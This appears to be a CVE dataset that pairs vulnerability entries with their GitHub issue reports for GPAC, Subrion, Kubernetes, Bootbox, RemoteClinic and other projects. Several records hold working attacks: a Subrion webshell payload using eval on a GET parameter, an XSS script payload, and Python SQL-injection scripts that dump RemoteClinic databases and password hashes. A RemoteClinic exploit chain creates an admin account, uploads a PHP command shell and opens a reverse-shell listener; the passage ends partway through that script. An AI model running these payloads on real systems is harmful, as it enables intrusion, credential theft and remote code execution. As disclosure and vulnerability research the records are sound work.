./MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x7ffff6798224 bp 0x00000000000f sp 0x7ffffffec1c0 T0)
==3037861==The signal is caused by a WRITE memory access.
==3037861==Hint: address points to the zero page.
#0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
#1 0x54edae in import_file /afltest/gpac/applications/mp4box/fileimport.c:1767:8
#2 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#3 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/isom_tools.c:3293:42 in gf_media_change_pl
==3037861==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac
```
### PoC
poc3gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc3gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42 | https://api.github.com/repos/gpac/gpac/issues/2661/comments | 0 | 2023-10-24T08:08:44Z | 2023-10-26T10:37:05Z | https://github.com/gpac/gpac/issues/2661 | 1,958,731,162 | 2,661 | 5,719 |
CVE-2023-5916 | 2023-11-02T11:15:14.540 | A vulnerability classified as critical has been found in Lissy93 Dashy 2.1.1. This affects an unknown part of the file /config-manager/save of the component Configuration Handler. The manipulation of the argument config leads to improper access controls. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-244305 was assigned to this vulnerability. | {
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] | 284 | https://github.com/Lissy93/dashy/issues/1336 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"Lissy93",
"dashy"
] | ### Environment
Self-Hosted (Docker)
### System
_No response_
### Version
2.1.1
### Describe the problem
the "disableConfiguration" has set to "true" but the configuration is able to change via http request
### Additional info
_No response_
### Please tick the boxes
- [X] You have explained the issue clearly, and included all relevant info
- [X] You are using a [supported](https://github.com/Lissy93/dashy/blob/master/.github/SECURITY.md#supported-versions) version of Dashy
- [X] You've checked that this [issue hasn't already been raised](https://github.com/Lissy93/dashy/issues?q=is%3Aissue)
- [X] You've checked the [docs](https://github.com/Lissy93/dashy/tree/master/docs#readme) and [troubleshooting](https://github.com/Lissy93/dashy/blob/master/docs/troubleshooting.md#troubleshooting) guide 
- [X] You agree to the [code of conduct](https://github.com/Lissy93/dashy/blob/master/.github/CODE_OF_CONDUCT.md#contributor-covenant-code-of-conduct) | [BUG] Unauthorized access | https://api.github.com/repos/Lissy93/dashy/issues/1336/comments | 2 | 2023-10-01T10:53:58Z | 2024-02-04T11:48:14Z | https://github.com/Lissy93/dashy/issues/1336 | 1,920,701,292 | 1,336 | 5,720 |
CVE-2023-46925 | 2023-11-02T17:15:11.567 | Reportico 7.1.21 is vulnerable to Cross Site Scripting (XSS). | {
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] | 79 | https://github.com/reportico-web/reportico/issues/47 | [
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] | github.com | [
"reportico-web",
"reportico"
] | Cross-site scripting (XSS) is a web application vulnerability that permits an attacker to inject code, (typically HTML or JavaScript), into the contents of an outside website. When a victim views an infected page on the website, the injected code executes in the victim’s browser. Consequently, the attacker has bypassed the browser’s same origin policy and is able to steal private information from a victim associated with the website.
Steps:
1. Login into the Reportico-7.1 admin module
2. Under create report in project, enter the XSS payload in title section.
3. The payload will execute once it's saved.
| Reflected XSS in Reportico-7.1 | https://api.github.com/repos/reportico-web/reportico/issues/47/comments | 4 | 2022-05-17T10:58:47Z | 2023-07-06T12:17:22Z | https://github.com/reportico-web/reportico/issues/47 | 1,238,463,044 | 47 | 5,721 |
CVE-2023-31579 | 2023-11-02T22:15:08.640 | Dromara Lamp-Cloud before v3.8.1 was discovered to use a hardcoded cryptographic key when creating and verifying a Json Web Token. This vulnerability allows attackers to authenticate to the application via a crafted JWT token. | {
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] | github.com | [
"dromara",
"lamp-cloud"
] | # 版本信息：
JDK 版本(必填) : --
源码版本(必填)：3.7.0
MySQL(必填)：--
Nacos(必填)：--
# 问题描述：
Hi, we are a research group to help developers build secure applications. We designed a cryptographic misuse detector on Java language. We found your great public repository (i.e., lamp-cloud) from Github, and several security issues detected by our detector are shown in the following. The specific security issues we found are as follows:
(1) Location: lamp-core-3.7.0 Package: top.tangyh.basic.context Class: ContextConstant.class
Security issue: Using predictable/constant cryptographic key when creating and verifing Json Web Token.
(2) Location: lamp-util-3.7.0 Package: top.tangyh.basic.jwt.utils
Class: JwtUtil.class
Security issue: Using predictable/constant cryptographic key when creating and verifing Json Web Token.
# 报错截图
# 重现步骤
1. 访问了什么接口？
2. 传递什么参数？
3. 后端控制台报了什么错？
4. 前端控制台报了什么错？
# 支持一下
如果该issue帮助了你, 麻烦给项目点个star, 并给当前issue回复一下 “👍” 或者 “已解决”.
| Using predictable/constant cryptographic key when creating and verifing Json Web Token. | https://api.github.com/repos/dromara/lamp-cloud/issues/183/comments | 4 | 2022-09-05T07:52:22Z | 2023-08-24T01:41:03Z | https://github.com/dromara/lamp-cloud/issues/183 | 1,361,544,458 | 183 | 5,722 |
CVE-2023-42299 | 2023-11-02T22:15:09.113 | Buffer Overflow vulnerability in OpenImageIO oiio v.2.4.12.0 allows a remote attacker to execute arbitrary code and cause a denial of service via the read_subimage_data function. | {
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] | 120 | https://github.com/OpenImageIO/oiio/issues/3840 | [
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] | github.com | [
"OpenImageIO",
"oiio"
] | Describe the bug:
Hi, I found heap-buffer-overflow in file src/gif.imageio/gifinput.cpp, line 368.
To Reproduce:
Steps to reproduce the behavior:
1. CC=afl-clang-fast CXX=afl-clang-fast++ CFLAGS="-gdwarf-2 -g3 -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-gdwarf-2 -g3 -O0 -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-fsanitize=address" cmake .. -DCMAKE_CXX_STANDARD=17
2. make && make install
3. iconvert poc /tmp/res
poc file:
[poc.zip](https://github.com/OpenImageIO/oiio/files/11477492/poc.zip)
Evidence:
==1483==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a3f9 at pc 0x7f8fd7a5f640 bp 0x7ffd22f8daf0 sp 0x7ffd22f8dae8
READ of size 1 at 0x60200000a3f9 thread T0
#0 0x7f8fd7a5f63f in OpenImageIO_v2_4::GIFInput::read_subimage_data() /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:368:65
#1 0x7f8fd7a57713 in OpenImageIO_v2_4::GIFInput::seek_subimage(int, int) /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:449:10
#2 0x7f8fd7a559af in OpenImageIO_v2_4::GIFInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec&) /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:165:9
#3 0x7f8fd75febcf in OpenImageIO_v2_4::ImageInput::create(OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >, bool, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*, OpenImageIO_v2_4::basic_string_view<char, std::char_traits<char> >) /root/github/oiio-2.4.11.0_1/src/libOpenImageIO/imageioplugin.cpp:786:27
#4 0x7f8fd7552674 in OpenImageIO_v2_4::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_4::ImageSpec const*, OpenImageIO_v2_4::Filesystem::IOProxy*) /root/github/oiio-2.4.11.0_1/src/libOpenImageIO/imageinput.cpp:112:16
#5 0x564781f3b48f in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /root/github/oiio-2.4.11.0_1/src/iconvert/iconvert.cpp:330:15
#6 0x564781f4006f in main /root/github/oiio-2.4.11.0_1/src/iconvert/iconvert.cpp:523:14
#7 0x7f8fd493fd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
#8 0x7f8fd493fe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 69389d485a9793dbe873f0ea2c93e02efaa9aa3d)
#9 0x564781e7ac74 in _start (/root/github/oiio-2.4.11.0_1/dist/bin/iconvert+0x40c74) (BuildId: ac1803a32a6497261464974329db9ccd18ce83ad)
0x60200000a3f9 is located 3 bytes to the right of 6-byte region [0x60200000a3f0,0x60200000a3f6)
allocated by thread T0 here:
#0 0x564781efdca8 in __interceptor_calloc (/root/github/oiio-2.4.11.0_1/dist/bin/iconvert+0xc3ca8) (BuildId: ac1803a32a6497261464974329db9ccd18ce83ad)
#1 0x7f8fd22f6b98 in GifMakeMapObject (/lib/x86_64-linux-gnu/libgif.so.7+0x3b98) (BuildId: 1fff7899d615250f1b273a11e966d1347b233009)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/github/oiio-2.4.11.0_1/src/gif.imageio/gifinput.cpp:371:65 in OpenImageIO_v2_4::GIFInput::read_subimage_data()
Shadow bytes around the buggy address:
0x0c047fff9420: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9430: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9440: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff9450: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa fd fd
0x0c047fff9460: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff9470: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 06[fa]
0x0c047fff9480: fa fa 04 fa fa fa 01 fa fa fa fa fa fa fa fa fa
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1483==ABORTING
Platform information:
OIIO branch/version: 2.4.11
OS: Linux
C++ compiler: clang-14.0.6
| heap-buffer-overflow in file src/gif.imageio/gifinput.cpp, line 368 | https://api.github.com/repos/AcademySoftwareFoundation/OpenImageIO/issues/3840/comments | 13 | 2023-05-15T11:55:43Z | 2024-09-05T17:39:38Z | https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/3840 | 1,709,938,318 | 3,840 | 5,723 |
CVE-2023-46947 | 2023-11-03T13:15:08.797 | Subrion 4.2.1 has a remote command execution vulnerability in the backend. | {
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"intelliants",
"subrion"
] | ## There is a remote command execution vulnerability
### Affected version
- subrion 4.2.1 lates
### login address
~~~ text
http://127.0.0.1/panel
~~~
Find `PHP info` in the `System` module
Get the absolute path to the website in phpinfo information
~~~ text
_SERVER["DOCUMENT_ROOT"]
~~~
### Attack
1. Select the `Hooks` field in the `System` module
2. Edit `sitemapGeneration` in `Hooks` and save
Get absolute path from `PHPinfo` above
`_SERVER["DOCUMENT_ROOT"]=F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/`
At this point we can write webshell into the website’s homepage file index.php
payload
~~~ text
fputs(fopen('F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/index.php','a+'),'@eval($_GET[cmd]);');
~~~
3. At this point, we can click the `Generate Sitemap` function to trigger code execution
The site generation function is to first write a file, and then perform a syntax check on the written PHP code. If the check passes, the code execution will be triggered.
~~~ php
eval($hook['code']);
~~~
4. We are accessing the website homepage file index.php
### Proposed changes
Filter dangerous functions and content in the content before writing the file | There is a RCE vulnerability | https://api.github.com/repos/intelliants/subrion/issues/909/comments | 1 | 2023-10-26T04:59:32Z | 2024-12-03T05:23:41Z | https://github.com/intelliants/subrion/issues/909 | 1,962,706,841 | 909 | 5,724 |
CVE-2023-3893 | 2023-11-03T18:15:08.623 | A security issue was discovered in Kubernetes where a user that can
create pods on Windows nodes running kubernetes-csi-proxy may be able to
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A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes running kubernetes-csi-proxy may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes running kubernetes-csi-proxy.
### Am I vulnerable?
Any kubernetes environment with Windows nodes that are running kubernetes-csi-proxy is impacted. This is a common default configuration on Windows nodes. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use.
#### Affected Versions
- kubernetes-csi-proxy <= v2.0.0-alpha.0
- kubernetes-csi-proxy <= v1.1.2
### How do I mitigate this vulnerability?
The provided patch fully mitigates the vulnerability and has no known side effects. Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893.
Outside of applying the provided patch, there are no known mitigations to this vulnerability.
#### Fixed Versions
- kubernetes-csi-proxy master - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/306
- kubernetes-csi-proxy v2.0.0-alpha.1 - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/307
- kubernetes-csi-proxy v1.1.3 - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/306
To upgrade: cordon the node, stop the associated Windows service, replace the csi-proxy.exe binary, restart the associated Windows service, and un-cordon the node. See the installation docs for more details: https://github.com/kubernetes-csi/csi-proxy#installation
If a Windows host process daemon set is used to run kubernetes-csi-proxy such as https://github.com/kubernetes-csi/csi-driver-smb/blob/master/charts/latest/csi-driver-smb/templates/csi-proxy-windows.yaml, simply upgrade the image to a fixed version such as ghcr.io/kubernetes-sigs/sig-windows/csi-proxy:v1.1.3
### Detection
Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation.
If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io
#### Acknowledgements
This vulnerability was discovered by James Sturtevant @jsturtevant and Mark Rossetti @marosset during the process of fixing CVE-2023-3676 (that original CVE was reported by Tomer Peled @tomerpeled92)
The issue was fixed and coordinated by the fix team:
James Sturtevant @jsturtevant
Mark Rossetti @marosset
Andy Zhang @andyzhangx
Justin Terry @jterry75
Kulwant Singh @KlwntSingh
Micah Hausler @micahhausler
Rita Zhang @ritazh
and release managers:
Mauricio Poppe @mauriciopoppe | CVE-2023-3893: Insufficient input sanitization on kubernetes-csi-proxy leads to privilege escalation | https://api.github.com/repos/kubernetes/kubernetes/issues/119594/comments | 5 | 2023-07-26T15:30:26Z | 2023-11-04T16:10:06Z | https://github.com/kubernetes/kubernetes/issues/119594 | 1,822,676,744 | 119,594 | 5,725 |
CVE-2022-3172 | 2023-11-03T20:15:08.550 | A security issue was discovered in kube-apiserver that allows an
aggregated API server to redirect client traffic to any URL. This could
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A security issue was discovered in kube-apiserver that allows an aggregated API server to redirect client traffic to any URL. This could lead to the client performing unexpected actions as well as forwarding the client's API server credentials to third parties.
This issue has been rated medium and assigned CVE-2022-3172
### Am I vulnerable?
All Kubernetes clusters with the following versions that are running aggregated API servers are impacted. To identify if you have aggregated API servers configured, run the following command:
```shell
kubectl get apiservices.apiregistration.k8s.io -o=jsonpath='{range .items[?(@.spec.service)]}{.metadata.name}{"\n"}{end}'
```
#### Affected Versions
- kube-apiserver v1.25.0
- kube-apiserver v1.24.0 - v1.24.4
- kube-apiserver v1.23.0 - v1.23.10
- kube-apiserver v1.22.0 - v1.22.13
- kube-apiserver <= v1.21.14
### How do I mitigate this vulnerability?
Aside from upgrading, no direct mitigation is available.
Aggregated API servers are a trusted part of the Kubernetes control plane, and configuring them is a privileged administrative operation. Ensure that only trusted cluster administrators are allowed to create or modify `APIService` configuration, and follow security best practices with any aggregated API servers that may be in use.
#### Fixed Versions
- kube-apiserver v1.25.1 - fixed by #112330
- kube-apiserver v1.24.5 - fixed by #112331
- kube-apiserver v1.23.11 - fixed by #112358
- kube-apiserver v1.22.14 - fixed by #112359
**Fix impact:** The fix blocks all 3XX responses from aggregated API servers by default. This may disrupt an aggregated API server that relies on redirects as part of its normal function. If all current and future aggregated API servers are considered trustworthy and redirect functionality is required, set the `--aggregator-reject-forwarding-redirect` Kubernetes API server flag to `false` to restore the previous behavior.
To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade
### Detection
Kubernetes audit log events indicate the HTTP status code sent to the client via the `responseStatus.code` field. This can be used to detect if an aggregated API server is redirecting clients.
If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io
#### Acknowledgements
This vulnerability was reported by Nicolas Joly & Weinong Wang @weinong from Microsoft.
The issue was fixed and coordinated by Di Jin @jindijamie @enj @liggitt @lavalamp @deads2k and @puerco.
/area security
/kind bug
/committee security-response
/label official-cve-feed
/sig api-machinery
/area apiserver
/triage accepted | CVE-2022-3172: Aggregated API server can cause clients to be redirected (SSRF) | https://api.github.com/repos/kubernetes/kubernetes/issues/112513/comments | 4 | 2022-09-16T13:14:50Z | 2022-11-10T03:57:00Z | https://github.com/kubernetes/kubernetes/issues/112513 | 1,375,935,782 | 112,513 | 5,726 |
CVE-2023-40660 | 2023-11-06T17:15:11.757 | A flaw was found in OpenSC packages that allow a potential PIN bypass. When a token/card is authenticated by one process, it can perform cryptographic operations in other processes when an empty zero-length pin is passed. This issue poses a security risk, particularly for OS logon/screen unlock and for small, permanently connected tokens to computers. Additionally, the token can internally track login status. This flaw allows an attacker to gain unauthorized access, carry out malicious actions, or compromise the system without the user's awareness. | {
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"Issue Tracking"
] | github.com | [
"OpenSC",
"OpenSC"
] | https://github.com/OpenSC/OpenSC/compare/0.23.0...master shows +250 commits since last release. Amongst those commits are some critical fixes.
Do you have any plans to release new version soon? 🤔 | New release 0.24.0 | https://api.github.com/repos/OpenSC/OpenSC/issues/2792/comments | 26 | 2023-06-02T11:38:07Z | 2023-12-13T11:29:55Z | https://github.com/OpenSC/OpenSC/issues/2792 | 1,738,037,344 | 2,792 | 5,727 |
CVE-2023-47004 | 2023-11-06T22:15:08.043 | Buffer Overflow vulnerability in Redis RedisGraph v.2.x through v.2.12.8 and fixed in v.2.12.9 allows an attacker to execute arbitrary code via the code logic after valid authentication. | {
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] | 787 | https://github.com/RedisGraph/RedisGraph/issues/3178 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"RedisGraph",
"RedisGraph"
] | # Summary
I have found a security vulnerability in the latest codebase of RedisGraph.
With personal investigation, I think an attacker could leverage this vulnerability to archive a **remote code execution** on a vulnerable Redis instance.
The vulnerability exists in code logic after a valid authentication.
# PoC
Here is a screenshot for a local lab environment to demostrate remote code execution
> we have a full screen record for the whole process but it is too big to attach to a github issue
# Step To Reproduce
Since this vulnerability leads to a remote code execution attack vector, it is better not to put the PoC in a public visitable GitHub issue.
Please let me know a perfer way to report this vulnerability to the dev team. | OOB-write vulnerability lead to REMOTE CODE EXECUTION | https://api.github.com/repos/RedisGraph/RedisGraph/issues/3178/comments | 4 | 2023-09-07T03:11:33Z | 2023-11-07T13:09:02Z | https://github.com/RedisGraph/RedisGraph/issues/3178 | 1,885,041,045 | 3,178 | 5,728 |
CVE-2023-46998 | 2023-11-07T05:15:13.657 | Cross Site Scripting vulnerability in BootBox Bootbox.js v.3.2 through 6.0 allows a remote attacker to execute arbitrary code via a crafted payload to alert(), confirm(), prompt() functions. | {
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] | 79 | https://github.com/bootboxjs/bootbox/issues/661 | [
"Issue Tracking"
] | github.com | [
"bootboxjs",
"bootbox"
] | bootbox.confirm and alert use jquery's .html() (and other functions) that add content to html elements. These are a potential XSS security issue since jquery evaluates the content.
Here's a working example (scroll down to the bottom of the JS window for the example code, I just borrowed somebody's fiddle and modified)
https://jsfiddle.net/93sk1zeh/2/
Pass in the following string to the text input field
<script>alert('HELLO WORLD')</script>
it should show 3 separate alert boxes (which verifies it can potentially be used for XSS attacks).
I think there's two options:
1) Sanitize input before adding it to a DOM element using jquery, or build up the element in a safe manner (i'm not 100% sure the right way to do that just yet tbh)
2) Mention in the documentation the potential danger of passing in user-submitted data as the first parameter to bootbox.confirm() and bootbox.alert(), or, if using an object instead of a string message, as the title property. This way it's clear the library user is responsible for sanitizing any input that might be used with bootbox.
| Document or fix possible XSS vulnerability (via jquery) | https://api.github.com/repos/bootboxjs/bootbox/issues/661/comments | 48 | 2018-05-24T01:16:44Z | 2025-03-28T02:13:21Z | https://github.com/bootboxjs/bootbox/issues/661 | 325,930,215 | 661 | 5,729 |
CVE-2023-33478 | 2023-11-07T15:15:10.630 | RemoteClinic 2.0 has a SQL injection vulnerability in the ID parameter of /medicines/stocks.php. | {
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] | 89 | https://github.com/remoteclinic/RemoteClinic/issues/22 | [
"Exploit",
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"Vendor Advisory"
] | github.com | [
"remoteclinic",
"RemoteClinic"
] | ### Vulnerable code:
[Line 51 in stocks.php](https://github.com/remoteclinic/RemoteClinic/blob/master/medicines/stocks.php#L51)
```php
$sql=mysqli_query($con, "select * from p_stock where branch='$id' order by code asc limit
20000")or die(mysqli_error());
```
User data flows into this manually-constructed SQL string, leading to SQL injection.
Instead, prepared statements or a safe library should be used.
### Steps to reproduce / PoC:
```Python
import requests
import json
DELIMITER = "n0kovo :)"
DELIMITER_HEX = f"0x{DELIMITER.encode('ascii').hex()}"
def send_payload(payload):
response = requests.get(
"http://localhost/medicines/stocks.php",
params=payload,
cookies={"PHPSESSID": "f90qm9tq0e6r1idq9tft76f16g"},
)
return response.text
def main():
get_dbs_payload = {
"id": f"1' UNION ALL SELECT CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},schema_name)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -"
}
dbs = json.loads(send_payload(get_dbs_payload).split(DELIMITER)[1])
dbs = [db for db in dbs if db != "information_schema"]
for db in dbs:
get_users_payload = {
"id": f"1' UNION ALL SELECT NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},userid,passkey)),{DELIMITER_HEX}),NULL,NULL,NULL FROM {db}.p_staff_dir-- -"
}
response = send_payload(get_users_payload)
if DELIMITER in response:
users = '", "'.join(response.split(DELIMITER)[1:-1])
users = json.loads(users)
users = zip(users[0::2], users[1::2])
for user in users:
output_str = f"{user[0]:<{20}}= {user[1]}"
print(output_str)
if __name__ == "__main__":
main()
``` | SQL injection vulnerability in `id` parameter of `/medicines/stocks.php` | https://api.github.com/repos/remoteclinic/RemoteClinic/issues/22/comments | 1 | 2023-05-05T12:17:42Z | 2023-11-09T15:25:43Z | https://github.com/remoteclinic/RemoteClinic/issues/22 | 1,697,523,258 | 22 | 5,730 |
CVE-2023-33479 | 2023-11-07T15:15:10.690 | RemoteClinic version 2.0 contains a SQL injection vulnerability in the /staff/edit.php file. | {
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] | github.com | [
"remoteclinic",
"RemoteClinic"
] | ### Vulnerable code:
[Line 62 in staff/edit.php](https://github.com/remoteclinic/RemoteClinic/blob/master/staff/edit.php#L62)
```php
$profile=mysqli_fetch_object(mysqli_query($con, "select * from p_staff_dir where id='$id'"))
```
User data flows into this manually-constructed SQL string, leading to SQL injection.
Instead, prepared statements or a safe library should be used.
### Steps to reproduce / PoC:
```Python
import requests
import json
DELIMITER = "n0kovo :)"
DELIMITER_HEX = f"0x{DELIMITER.encode('ascii').hex()}"
def send_payload(payload):
response = requests.get(
"http://loocalhost/staff/edit.php",
params=payload,
cookies={"PHPSESSID": "h8c0op06m61jsk5357q6c0e1h0"},
)
return response.text
def main():
get_dbs_payload = {
"id": f"-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},schema_name)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -"
}
dbs = json.loads(send_payload(get_dbs_payload).split(DELIMITER)[1])
dbs = [db for db in dbs if db != "information_schema"]
for db in dbs:
get_users_payload = {
"id": f"-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},userid,passkey)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM remoteclinic.p_staff_dir-- -"
}
response = send_payload(get_users_payload)
if DELIMITER in response:
users = '", "'.join(response.split(DELIMITER)[1:-1]).split('", ""')[0]
users = json.loads(users)
users = zip(users[0::2], users[1::2])
for user in users:
output_str = f"{user[0]:<{20}}= {user[1]}"
print(output_str)
if __name__ == "__main__":
main()
``` | SQL injection vulnerability in `id` parameter of `/staff/edit.php` | https://api.github.com/repos/remoteclinic/RemoteClinic/issues/23/comments | 1 | 2023-05-05T12:49:47Z | 2023-11-09T15:24:25Z | https://github.com/remoteclinic/RemoteClinic/issues/23 | 1,697,567,092 | 23 | 5,731 |
CVE-2023-33480 | 2023-11-07T15:15:10.743 | RemoteClinic 2.0 contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the staff/register.php endpoint and the edit-my-profile.php page. By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell. | {
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] | github.com | [
"remoteclinic",
"RemoteClinic"
] | ## Vulnerability chain in RemoteClinic application
### Vulnerability description
The RemoteClinic application contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the `staff/register.php` endpoint and the `edit-my-profile.php` page.
By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell. This can potentially lead to data theft, system disruption, or other malicious activities.
### Steps to reproduce / PoC
```Python
import requests
from bs4 import BeautifulSoup
from pwn import *
import argparse
from urllib.parse import quote
s = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="Target URL")
parser.add_argument("userid", help="Low-privileged user ID")
parser.add_argument("password", help="Low-privileged user password")
parser.add_argument("lhost", help="Local IP for reverse shell")
parser.add_argument("lport", type=int, help="Local port for reverse shell")
args = parser.parse_args()
TARGET_URL = args.target_url
USERID = args.userid
PASSWORD = args.password
LHOST = args.lhost
LPORT = args.lport
def get_csrf_token():
response = s.get(f"{TARGET_URL}/login/")
soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.find_all("input", {"name": "extra_key"})[0]["value"]
return csrf_token
def login(userid, password):
data = {
"user_id": userid,
"password": password,
"extra_key": get_csrf_token(),
"submit": "Login",
}
response = s.post(f"{TARGET_URL}/login/process.php", data=data)
def create_admin():
data = {
"first_name": "n0kovo",
"last_name": ":)",
"userid": "n0kovo@cia.gov",
"passkey": "n0kovo",
"contact": "0",
"access_level": "6",
"status": "active",
"branch": "13",
"image": "",
"submit": "Register",
}
response = s.post(f"{TARGET_URL}/staff/register.php", data=data)
def get_reg_id():
response = s.get(f"{TARGET_URL}/staff/my-profile.php")
soup = BeautifulSoup(response.text, "html.parser")
table_rows = soup.find_all("tr")
for row in table_rows:
cells = row.find_all("td")
if cells[0].text == "Registration ID:":
registration_id = int(cells[1].text)
return registration_id
def upload_shell():
payload = f"<?=`$_GET[0]`?>"
data = {
"first_name": "n0kovo",
"last_name": ":)",
"passkey": "",
"contact": "0",
"submit": "Update",
}
files = {"image": ("sup.php", payload, "text/php")}
s.post(
f"{TARGET_URL}/staff/edit-my-profile.php",
data=data,
files=files,
verify=False,
proxies={"http": "http://127.0.0.1:8080"},
)
def execute_cmd(registration_id, command):
url_encoded_cmd = quote(command, safe="")
try:
response = s.get(
f"{TARGET_URL}/uploads/staff/{registration_id}.php?0={url_encoded_cmd}",
timeout=2,
)
print(response.text)
except requests.exceptions.ReadTimeout:
pass
def start_listener(port):
listener = listen(port)
return listener
def get_shell(listener):
connection = listener.wait_for_connection()
log.success("Connection received! Enjoy your shell :)")
print()
connection.interactive()
def exploit():
log.warn(f"Running exploit against {TARGET_URL}...")
log.info("Logging in as low-privileged user...")
login(USERID, PASSWORD)
log.info("Creating admin user...")
create_admin()
log.info("Escalating privileges...")
s.cookies.clear()
login("n0kovo@cia.gov", "n0kovo")
registration_id = get_reg_id()
log.info("Uploading shell...")
upload_shell()
